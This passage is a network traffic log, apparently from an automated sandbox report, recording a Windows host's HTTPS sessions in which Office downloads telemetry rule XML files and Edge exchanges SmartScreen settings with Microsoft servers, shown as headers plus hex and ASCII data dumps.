2024-11-16 22:36:36 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:36 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: fa67fb9f-101e-0051-031f-3876f2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241116T223636Z-16547b76f7fqqjnnhC1DFWxv7400000001qg00000000e26a Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:36 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:36 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:36 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:36 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 0f1e6d84-801e-007b-5baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223636Z-16547b76f7fffb7lhC1DFWdsxg00000003m000000000aetb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:36 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:36 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:37 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:37 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: eda1c5d7-201e-0033-2eb8-37b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223636Z-16547b76f7fkf5v9hC1DFW2y5s000000037g00000000kge8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:37 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:37 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:37 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:37 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: ec7953e6-801e-00a3-60a6-377cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223637Z-164f84587bft9l9khC1DFW32rc00000003d000000000bdhc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:37 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:37 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:37 UTC	522	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:37 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: dd43ea10-201e-0003-39d2-37f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223637Z-1866b5c5fbblmztchC1DFWs6v400000001vg00000000rfzm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-16 22:36:37 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:37 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:37 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:37 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 0e6654d1-b01e-0097-46c4-374f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223637Z-16547b76f7fk9g8vhC1DFW8254000000046g0000000098x8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:37 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:37 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:37 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:37 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 11343522-e01e-0085-0240-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223637Z-1866b5c5fbb2t6txhC1DFWa2qc00000003gg0000000039ff x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:37 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:37 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:38 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:37 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 1c255c34-701e-0053-4dbc-373a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223637Z-16547b76f7fkf5v9hC1DFW2y5s00000003b0000000007355 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:38 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	49894	40.118.171.167	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:38 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 725 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5Ijoic1ExL3d0OWY4OWxHRHREdDE5VE9EZz09IiwgImhhc2giOiJSc0Zzd1dvUzEvQT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-16 22:36:38 UTC	725	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-16 22:36:38 UTC	302	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:38 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:3d5e3eff-de07-43c3-a15d-06b05ff513c8
2024-11-16 22:36:38 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-16 22:36:38 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-16 22:36:38 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-16 22:36:38 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-16 22:36:38 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
